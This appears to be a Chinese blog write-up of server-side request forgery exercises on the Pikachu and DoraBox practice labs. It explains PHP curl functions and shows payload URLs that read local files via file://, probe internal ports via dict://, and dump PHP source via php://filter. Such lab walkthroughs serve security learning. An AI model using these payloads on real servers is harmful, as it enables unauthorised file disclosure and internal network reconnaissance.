目录
前言
SSRF总结
1.pikachu
1.1SSRF(curl)
1.1.1http协议
1.1.2 file协议查看本地文件
1.1.3 dict协议扫描内网主机开放端口
1.2 SSRF(file_get_content)
1.2.1 file读取本地文件
1.2.2 php://filter/读php源代码
2.DoraBox靶场
前言
最近系统的将从web渗透到内网渗透的知识点做一个回顾,同时结合一些实战的案例来演示,下面是对刚开始学习时对靶场的一个总结.
SSRF总结
下面是我对SSRF漏洞的一个总结,需要的师傅可自行下载使用
1.pikachu
1.1SSRF(curl)
首先,先解一下在PHP中curl函数是用来干什么的。curl是一个库,能让你通过URL和许多不同种的服务器进行交流,并且还支持许多协议。curl可以支持https认证、http post、ftp上传、代理、cookies、简单口令认证等等功能。
首先,先解一下在PHP中curl函数是用来干什么的。curl是一个库,能让你通过URL和许多不同种的服务器进行交流,并且还支持许多协议。curl可以支持https认证、http post、ftp上传、代理、cookies、简单口令认证等等功能。
函数 | 描述 |
---|---|
curl_close() | 关闭一个cURL会话。 |
curl_copy_handle() | 复制一个cURL句柄和它的所有选项。 |
curl_errno() | 返回最后一次的错误号。 |
curl_error() | 返回一个保护当前会话最近一次错误的字符串。 |
curl_escape() | 返回转义字符串,对给定的字符串进行URL编码。 |
curl_exec() | 执行一个cURL会话。 |
curl_file_create() | 创建一个 CURLFile 对象。 |
curl_getinfo() | 获取一个cURL连接资源句柄的信息。 |
curl_init() | 初始化一个cURL会话。 |
curl_multi_add_handle() | 向curl批处理会话中添加单独的curl句柄。 |
curl_multi_close() | 关闭一组cURL句柄。 |
curl_multi_exec() | 运行当前 cURL 句柄的子连接。 |
curl_multi_getcontent() | 如果设置了CURLOPT_RETURNTRANSFER,则返回获取的输出的文本流。 |
curl_multi_info_read() | 获取当前解析的cURL的相关传输信息。 |
curl_multi_init() | 返回一个新cURL批处理句柄。 |
curl_multi_remove_handle() | 移除curl批处理句柄资源中的某个句柄资源。 |
curl_multi_select() | 等待所有cURL批处理中的活动连接。 |
curl_multi_setopt() | 设置一个批处理cURL传输选项。 |
curl_multi_strerror() | 返回描述错误码的字符串文本。 |
curl_pause() | 暂停及恢复连接。 |
curl_reset() | 重置libcurl的会话句柄的所有选项。 |
curl_setopt_array() | 为cURL传输会话批量设置选项。 |
curl_setopt() | 设置一个cURL传输选项。 |
curl_share_close() | 关闭cURL共享句柄。 |
curl_share_init() | 初始化cURL共享句柄。 |
curl_share_setopt() | 设置一个共享句柄的cURL传输选项。 |
curl_strerror() | 返回错误代码的字符串描述。 |
curl_unescape() | 解码URL编码后的字符串。 |
curl_version() | 获取cURL版本信息。 |
第一步: 首先打开网址,并根据提示进行点击,观察URL,发现它传递了一个URL给后台
http://127.0.0.1/pikachu/vul/ssrf/ssrf_curl.php?url=http://127.0.0.1/pikachu/vul/ssrf/ssrf_info/info1.php
对源码进行分析,发现使用了curl,
这里因为其支持的协议较多,我只简单使用几种我比较熟悉的协议
1.1.1http协议
http://127.0.0.1/pikachu/vul/ssrf/ssrf_curl.php?url=https://www.baidu.com/img/flexible/logo/pc/result.png
访问百度的图片
1.1.2 file协议查看本地文件
http://127.0.0.1/pikachu/vul/ssrf/ssrf_curl.php?url=file:///c:/windows/system32/drivers/etc/hosts
可以查看本地文件C:\Windows\System32\drivers\etc\hosts的内容
1.1.3 dict协议扫描内网主机开放端口
探测本地ip的3306端口是否开放
http://127.0.0.1/pikachu/vul/ssrf/ssrf_curl.php?url=dict://127.0.0.1:3306
可以看出服务
1.2 SSRF(file_get_content)
首先,点击后,发现URL中含有一个file,猜测可能是读文件的
分析一下其中用到的函数,发现是对读取文件的方法,并且是以base64进行读取
file_get_contents() 把整个文件读入一个字符串中。该函数是用于把文件的内容读入到一个字符串中的首选方法。如果服务器操作系统支持,还会使用内存映射技术来增强性能。这里,也是用几种常见的方式进行读取
1.2.1 file读取本地文件
http://127.0.0.1/pikachu/vul/ssrf/ssrf_fgc.php?file=file:///c:/windows/win.ini
1.2.2 php://filter/读php源代码
刚好在分析源码的时候发现了这个,试试好不好用
php://filter/read=convert.base64-encode/resource=../rce/rce.php
http://127.0.0.1/pikachu/vul/ssrf/ssrf_fgc.php?file=php://filter/read=convert.base64-encode/resource=../rce/rce.php
以base64的形式出现在了最下方的位置,而且贼长,拉半天
2.DoraBox靶场
这个靶场的ssrf和pickchun靶场的第二关是一样的先随便输入一个1,查看一下,发现返回的信息是file_get_contents()函数。一般用于包含文件使用。
可以看到还是执行了的,但是没有发现文件,因此这里没有任何显示而已
http://127.0.0.1/phpinfo.php
利用下面的也是ok的,直接输入框中,点击提交即可
file:///c:/windows/win.ini